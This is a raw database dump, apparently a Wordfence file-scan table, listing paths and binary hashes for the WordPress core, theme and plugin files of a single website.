('0s!Ý2n2','wp-includes/SimplePie/library/SimplePie/Item.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Item.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','w\\q	20-I','ޫ_wFqF?kjgE','',0,'?'),
('0xhͭK3T','wp-includes/class-wp-fatal-error-handler.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-fatal-error-handler.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\\\r%ϺwTwAHL','ΓԃH8ȼG_P:u۱C','',0,'?'),
('0aOZI|I','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/SecretStream/State.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/SecretStream/State.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','WHY ²','zI]_ǲ!bш6duY3','',0,'?'),
('0k ?ޞ','wp-includes/js/jquery/ui/effect-scale.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/effect-scale.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','~\\c:jF\'','A\Z){dL7#a','',0,'?'),
('0z{&sC','wp-content/themes/twentytwentyfive/templates/single.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/templates/single.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','H]bKEVa','$9y~收]͑ke7FeC','',0,'?'),
('0<K}ׇ','wp-includes/blocks/image/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/image/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','o0`hge','djѨEQN<g7mTG}','',0,'?'),
('0}86s','wp-includes/js/dist/script-modules/block-library/form/view.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/block-library/form/view.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\"t{+&.ϗ}','Vm<\'\\7cR7a_׌FC','',0,'?'),
('0E\00XH','wp-includes/js/colorpicker.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/colorpicker.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','g6p	DNbG','z,YQ(ht;%Wt(P','',0,'?'),
('0dۦZP2o','wp-content/plugins/wordfence/lib/menu_firewall_waf_options.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/menu_firewall_waf_options.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','5^/2:P','u\rQ~\')ltYK_iA','',0,'?'),
('0$X8FnŃk','wp-includes/js/dist/vendor/wp-polyfill-dom-rect.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/vendor/wp-polyfill-dom-rect.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','t\'~(L4[v','&̥FzՀAqe%|!','',0,'?'),
('1q!>q`r,y','wp-includes/js/wp-tooltip.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/wp-tooltip.min.js',0,'Msdf\\IgЧ','Msdf\\IgЧ','/X\"0Fw{hCjZ','',0,'?'),
('1$<͙f','wp-includes/abilities-api/class-wp-ability-categories-registry.php','/home/trevorkl/trevorklee.com/wp-includes/abilities-api/class-wp-ability-categories-registry.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','+muPH\ZO׊','34/mCt#u4lV+=)aۿ^','',0,'?'),
('1-g97','wp-content/plugins/wordfence/crypto/vendor/paragonie/random_compat/lib/error_polyfill.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/random_compat/lib/error_polyfill.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','#fG\rւBg 0','c(k12Qw4?0','',0,'?'),
('1A,\nsv','wp-content/themes/twentytwentyone/assets/sass/05-blocks/separator/_style.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/separator/_style.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Y)ɾNS(! 4Z','/[f	nU!798^94M','',0,'?'),
('1^BsCZU*M>','wp-content/themes/twentytwenty/assets/fonts/inter/Inter-upright-var.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/assets/fonts/inter/Inter-upright-var.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','/o-6ѥp|','dd^#QҒ\Z#q^ƓJw','',0,'?'),
('1s)6ӶCΗ','wp-admin/user/admin.php','/home/trevorkl/trevorklee.com/wp-admin/user/admin.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','T^1A|','Y%մ9N?\\v\\aM~݋','',0,'?'),
('1ty@vG`1\'','wp-content/themes/twentytwentythree/templates/home.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/templates/home.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','u2m1\nSC','L\nɷet\'韅SGYXу!N','',0,'?'),
('13\r\rIW\\','wp-content/themes/twentytwentyone/assets/sass/03-generic/breakpoints.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/03-generic/breakpoints.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','%uc)i?','/M(T@3n8=T⪚^Wg','',0,'?'),
('1Z3?s}n','wp-includes/blocks/post-time-to-read.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-time-to-read.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','vtIWbf05','*?^jd$F.Wk!\0{;|lP	Y','',0,'?'),
('1pa`H0ߢe','wp-includes/js/dist/url.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/url.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','xC^Q@','d٦wy9ѡ4(զ^G,$\"r','',0,'?'),
('1БY4I^p','wp-includes/sodium_compat/LICENSE','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/LICENSE',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','0?4\'+̶L)$','Y	ORٴ@M=xMK\Z.','',0,'?'),
('1هҗ\"R\"','wp-content/themes/twentytwenty/classes/class-twentytwenty-script-loader.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/classes/class-twentytwenty-script-loader.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','lG{L%{','~f~-Fjq<8J3߭bt','',0,'?'),
('1EfQv#)\n0EkQ','wp-admin/images/media-button-image.gif','/home/trevorkl/trevorklee.com/wp-admin/images/media-button-image.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','m	\'A','iķz[/\" X{o:','',0,'?'),
('1X/t60^Ҁ!7','wp-includes/js/comment-reply.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/comment-reply.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','䤝M','Fԁ5\n\Z0H0ϻG','',0,'?'),
('1t9bY\'','wp-includes/sodium_compat/src/Core32/ChaCha20/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/ChaCha20/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('2\re(l˨','wp-includes/sodium_compat/namespaced/Core/Poly1305/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/namespaced/Core/Poly1305/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('2Jy*m]W','wp-includes/js/dist/a11y.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/a11y.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','.\"sI','D,WXKLt-!{}J~','',0,'?'),
('2bU\0spd0','wp-includes/js/clipboard.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/clipboard.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','sdjI~iT','Q]qFضUJ\"\r/^0','',0,'?'),
('2@jj\0kӲӘ','wp-admin/includes/template.php','/home/trevorkl/trevorklee.com/wp-admin/includes/template.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',']l \\q.]','l\0^0]IxSZ6','',0,'?'),
('2D%J?\Z','wp-includes/js/dist/wordcount.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/wordcount.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','TZ}0ouuDSB','\ZU	JkP9@%gL܅','',0,'?'),
('2X)32=TF=\"','wp-content/plugins/wordfence/modules/login-security/js/jquery.qrcode.min.1788880300.js','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/js/jquery.qrcode.min.1788880300.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ԹXp`me<','wP\0pzuYDSz(WߥP3$S','',0,'?'),
('2Y oq&Z','wp-includes/class-wp-block.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-block.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','klE X','?GLm<QU\Z@*\r>OX/F!\0','',0,'?'),
('2f~vX3L','wp-includes/blocks/post-comments-form/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-comments-form/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Sk%ұ','ɜr>hb0E*\n|ьgĝk','',0,'?'),
('2glbCdM`H','wp-includes/css/dist/block-library/reset.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-library/reset.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','$XyRIS','2bmqVɻ,5\ne3rÐ','',0,'?'),
('2jL,W\rW$','wp-admin/css/colors/sunrise/colors-rtl.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/colors/sunrise/colors-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','UC|\\Ȋ','eLT4`g./m\')ʪT+N\"','',0,'?'),
('2r}Vĥ$^n/','wp-content/plugins/wordfence/css/images/ui-icons_777777_256x240.png','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/images/ui-icons_777777_256x240.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','h^n=(&݂N&','SDIBz_-?(YpEyƹA','',0,'?'),
('2}C\ZǏ','wp-content/themes/twentytwentyfour/patterns/gallery-offset-images-grid-2-col.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/gallery-offset-images-grid-2-col.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Jm+:5㻎#','Szp6)FpM&jִ','',0,'?'),
('2}ܽQ(,Sz','wp-includes/SimplePie/src/Cache/NameFilter.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Cache/NameFilter.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',']Մn\r/V','ŝ}%C\0B|Up\rGMy]ޱ','',0,'?'),
('2	o{l	','wp-includes/abilities-api/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/abilities-api/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('2!C|R4ضJ','wp-includes/blocks/paragraph/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/paragraph/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ڠ.6](r','\r4ޠ&_x![x~','',0,'?'),
('2\0B vƲ','wp-includes/html-api/rcfospm/yrfsgvq/lag1xoi/php.ini','/home/trevorkl/trevorklee.com/wp-includes/html-api/rcfospm/yrfsgvq/lag1xoi/php.ini',0,'Psقdh#K','Psقdh#K',':Aa\'\rIۺw)}WtO','',0,'0'),
('2&qעųV','wp-content/plugins/akismet/_inc/img/akismet-refresh-logo@2x.png','/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/_inc/img/akismet-refresh-logo@2x.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' Fx풹AȊ','K(Xxہ.	3,\ZFy#^y\n(LV','',0,'?'),
('2|΢(ủtT','wp-admin/privacy-policy-guide.php','/home/trevorkl/trevorklee.com/wp-admin/privacy-policy-guide.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','PO1]8\n6','eME9*b68}I^Zz','',0,'?'),
('2㺨a|Fl3]','wp-includes/customize/class-wp-customize-new-menu-section.php','/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-new-menu-section.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','	sL2/B','H\'sӽI$ӦͤX!','',0,'?'),
('2v\'9\rz','wp-content/plugins/wordfence/css/images/ui-icons_555555_256x240.png','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/images/ui-icons_555555_256x240.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','pbD@pG+','*DZ>Bg&YY4(</','',0,'?'),
('2-۰;n|','wp-includes/SimplePie/library/SimplePie/HTTP/Parser.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/HTTP/Parser.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ܥ<e}iA','/,nmaQk*TI}*]0тd0f`{','',0,'?'),
('2ģ_Dx','wp-content/plugins/wordfence/views/common/block-navigation-option.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/common/block-navigation-option.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','O~}t.K','MNF`\r9ӫrP,Q','',0,'?'),
('2Zs+z','wp-includes/css/dist/block-directory/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-directory/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\\#DCfT7X7$Mp','2jhR\"Z~xs-&g0a_<dWC','',0,'?'),
('2-5?8u','wp-includes/js/tinymce/plugins/image/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/image/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('2?b-x)','wp-content/themes/twentytwentyfour/assets/images/windows.webp','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/assets/images/windows.webp',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','NaPM`(\r','vjy;`9#ZyTJnd','',0,'?'),
('3\Z-Ғ,j','wp-includes/blocks/comment-date.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/comment-date.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','NPnFMFБ','˺cJۻMxa9$gnWz','',0,'?'),
('3+z.6Q~]y[','wp-includes/js/tinymce/plugins/wptextpattern/plugin.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/wptextpattern/plugin.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','`*jr ',',a)\"T}vh[7Zo~m','',0,'?'),
('3h\"I+[E','wp-includes/js/clipboard.js','/home/trevorkl/trevorklee.com/wp-includes/js/clipboard.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\r8ܞRO@','3>0D2!Jw@Ly','',0,'?'),
('3koW5	k[mq','wp-admin/includes/continents-cities.php','/home/trevorkl/trevorklee.com/wp-admin/includes/continents-cities.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','^z\rr',',`ĭ$7܁{n','',0,'?'),
('3p\\8lDq','wp-includes/sodium_compat/namespaced/Core/Util.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/namespaced/Core/Util.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',';*kLwBd=','ec[dM?H|KY\04@ QA:FF ','',0,'?'),
('3pj`\\26#','wp-includes/Requests/src/Exception/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Exception/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('3z\'OvJ& ','wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','B3%%̎d','I;p9\0ZHM#%G]9.r','',0,'?'),
('3;\"5$_\\D','wp-content/themes/twentytwentythree/styles/canary.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/styles/canary.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Q$<ށ};4MDvި','Q<X$ZVy* M{t','',0,'?'),
('3@]Ɍ<M*','wp-includes/html-api/class-wp-html-processor.php','/home/trevorkl/trevorklee.com/wp-includes/html-api/class-wp-html-processor.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','EwFHUi]Wn:ѕ','Sq81?\rT<\Z\0Eh&+','',0,'?'),
('3\'RKBf','wp-includes/js/tinymce/plugins/wpdialogs/plugin.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/wpdialogs/plugin.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','QO1/<>%\"X','6r*IY\0C9<Jږ J*xD','',0,'?'),
('3fQ3h5[W<','wp-includes/Text/Diff/Renderer.php','/home/trevorkl/trevorklee.com/wp-includes/Text/Diff/Renderer.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','w.֨\"&R<','[9#c2z\\\'?H1','',0,'?'),
('3ڬЌ\"','wp-content/themes/twentytwentyfour/parts/sidebar.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/parts/sidebar.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','S\Zs/,+ƟV','\rj \ni\0NvbOȪ','',0,'?'),
('3औO5(','wp-includes/theme.json','/home/trevorkl/trevorklee.com/wp-includes/theme.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','VIS{4;','x)y	rA8i\\','',0,'?'),
('3ng\0\\\0	W','wp-includes/IXR/class-IXR-value.php','/home/trevorkl/trevorklee.com/wp-includes/IXR/class-IXR-value.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','f>5lj\0f','?h͇ XUPO|H$1','',0,'?'),
('4\n2ߵ\"EGÉ','wp-content/plugins/wordfence/lib/wfIpLocator.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfIpLocator.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','v;iZ\\	X#@\n','8~X\rY=	\\ضKZ3rh2','',0,'?'),
('4ڮRt(','wp-content/plugins/wordfence/modules/login-security/classes/utility/multisiteconfigurationextractor.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/utility/multisiteconfigurationextractor.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','2\']@]ek+',' a)s©Ck#7f\Z','',0,'?'),
('431@*r8','wp-includes/sodium_compat/namespaced/Core/Curve25519.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/namespaced/Core/Curve25519.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','śL\\PڜU','c>5o𽃐_T9L~;e7','',0,'?'),
('4,TЪn-\r\\u','wp-includes/css/dist/edit-site/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/css/dist/edit-site/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('46/F/a','wp-includes/blocks/search/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/search/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('48Vt+^X','wp-includes/pomo/mo.php','/home/trevorkl/trevorklee.com/wp-includes/pomo/mo.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\\ML8Ei','Kg\rşix.>FϷ>㣝/g/F','',0,'?'),
('4;`߯z?	{Ǟ@','wp-content/plugins/wordfence/images/2fa-whole.svg','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/2fa-whole.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','h»$\ZPfX','ƪɝU[Z~^d\'Xٮ','',0,'?'),
('4AIn097c`','wp-includes/js/tinymce/utils/validate.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/utils/validate.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','CL1?o+;{Y','kH;\0kCs	\'K#45+eE|0','',0,'?'),
('4a[I}Hm)','wp-admin/css/deprecated-media.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/deprecated-media.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','JC\\s_ScZ;','[םr{%m jyҋ\n{','',0,'?'),
('497Tb~~','wp-content/themes/twentynineteen/js/touch-keyboard-navigation.js','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/js/touch-keyboard-navigation.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','U!^v1)?c-ٽvk',';1ȁzZlabl-1S,','',0,'?'),
('4qEyVS/o}','wp-includes/blocks/tag-cloud/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/tag-cloud/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','^\r)ťN|6','#zڰJVYqrSd^3','',0,'?'),
('4i1]ܷ','wp-content/themes/twentytwentyfive/assets/images/book-image.webp','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/book-image.webp',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','F}$[W@6','a Ū]/nNlCUϞaX','',0,'?'),
('40GG?ݑD','wp-content/themes/twentytwentytwo/inc/patterns/header-logo-navigation-gray-background.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/header-logo-navigation-gray-background.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','3K','\'u,u՛HyЭmi>Nt','',0,'?'),
('4l\'E&H3','wp-includes/PHPMailer/POP3.php','/home/trevorkl/trevorklee.com/wp-includes/PHPMailer/POP3.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','$>BZ','ӔӅ:9+f^L\nqٲ`wPs','',0,'?'),
('54ZʗHJ','wp-includes/blocks/rss/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/rss/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','1]&pKu`y','%9ͻ:I-6eH7Ds&','',0,'?'),
('51	{FE}x8','wp-content/themes/twentytwentyfour/styles/ice.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/styles/ice.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','8EQݓ*mX<gb','{\"Eɒm/\rҽնvz','',0,'?'),
('5?y<2','wp-admin/css/dashboard-rtl.css','/home/trevorkl/trevorklee.com/wp-admin/css/dashboard-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','McKv=7','GقcGc9,.}xdPJX>o','',0,'?'),
('5.=d)<peus^','wp-includes/sodium_compat/src/Core/Ed25519.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/Ed25519.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','1Y\n/3GQ','EVWpXW@BpǠ8ɾmo','',0,'?'),
('58d`S61K>ۮv','wp-admin/css/colors/blue/colors-rtl.css','/home/trevorkl/trevorklee.com/wp-admin/css/colors/blue/colors-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','|4#A6','gJ89bJ_8n	','',0,'?'),
('59 \'vJ}','wp-content/themes/twentytwentytwo/templates/index.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/templates/index.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','IQ&zM,6X',':&*b2f}vQ,.ժ','',0,'?'),
('5?_*,0Z;	','wp-includes/js/dist/script-modules/edit-site-init/index.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/edit-site-init/index.js',0,'W@x,;i4','W@x,;i4','OC+e\rv%jwxSsvI/9','',0,'?'),
('5C)\nWu꽝/FcK','wp-includes/js/plupload/wp-plupload.js','/home/trevorkl/trevorklee.com/wp-includes/js/plupload/wp-plupload.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ڌU=vke}','==QqX-jnHŀ>\n','',0,'?'),
('5EǿS4B\0ly','wp-content/plugins/wordfence/views/scanner/text/issue-easyPassword.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/scanner/text/issue-easyPassword.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ʥ_%k','SVdSFM\']]oo/Mib','',0,'?'),
('5S{TƁe/','wp-includes/class-walker-page.php','/home/trevorkl/trevorklee.com/wp-includes/class-walker-page.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','9=	','j\\yԐ#8\0L\n%{}(I\Zo','',0,'?'),
('5ZSμv`69','wp-includes/version.php','/home/trevorkl/trevorklee.com/wp-includes/version.php',0,'Up3X','Up3X','e}\0xz.0ҼD9]o_','',0,'?'),
('5\\h>w	N','wp-includes/registration.php','/home/trevorkl/trevorklee.com/wp-includes/registration.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','SD31','ՙvF٫PB8.8','',0,'?'),
('5`]\\ͭi\0\ZJT','wp-includes/class-wp-embed.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-embed.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','<߷}}l|n/lh=','iwbO(\"_U_ս7RzN8','',0,'?'),
('5sH؈Zװ7','wp-content/themes/twentytwentyfive/patterns/template-search-text-blog.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-search-text-blog.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&50zzЃ67','ZN\0ϣ泲?l06&x7','',0,'?'),
('592^%<','wp-admin/edit-form-blocks.php','/home/trevorkl/trevorklee.com/wp-admin/edit-form-blocks.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','퉡VИ~','Q oo\ny U\ZjvΦ,','',0,'?'),
('57N	C=-c','wp-content/plugins/wordfence/images/sort_asc.png','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/sort_asc.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&DKzS§0','NQ*TZ%P%jܑtZn/','',0,'?'),
('5#t5RшK','wp-content/wflogs/config-livewaf.php','/home/trevorkl/trevorklee.com/wp-content/wflogs/config-livewaf.php',0,'.đLGH\n^	O','.đLGH\n^	O','/:\0NR/͹2U*N','',0,'?'),
('5wθrZ','wp-includes/Requests/src/Exception/Http/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Exception/Http/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('6T?c[Q6M','wp-content/themes/twentytwentytwo/inc/patterns/general-large-list-names.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/general-large-list-names.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','vj7GJ\\','\01X:[=30a٨z{H','',0,'?'),
('6Ow@\n\n','wp-content/plugins/loginizer/lib/hybridauth/Adapter/OAuth2.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/Adapter/OAuth2.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ǌgC?7:','-W=5JV<,tS|G>{\0]\'','',0,'?'),
('6X/HL','wp-includes/js/mediaelement/wp-playlist.js','/home/trevorkl/trevorklee.com/wp-includes/js/mediaelement/wp-playlist.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','K^Is2ҩQ','z	mE039]-k2[2o','',0,'?'),
('6(0$.{:21kP','wp-content/plugins/loginizer/assets/images/social/Google.png','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/assets/images/social/Google.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','LZ#Fi\"','S1%_=N3VՙF`mN!','',0,'?'),
('6;I(Hm%f','wp-admin/css/farbtastic-rtl.css','/home/trevorkl/trevorklee.com/wp-admin/css/farbtastic-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','7\n){','T=Y#[vrHiaR','',0,'?'),
('6[f9? _','wp-content/plugins/wordfence/images/icons/bullet_yellow.png','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/icons/bullet_yellow.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','J&ɌԔQ<','1Nߗ׍?*ií!FMp9^.','',0,'?'),
('6cbkki3@H','wp-content/plugins/wordfence/lib/menu_firewall_waf.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/menu_firewall_waf.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','/w&eP[M','fS+~\0, p*U\"I<!cH','',0,'?'),
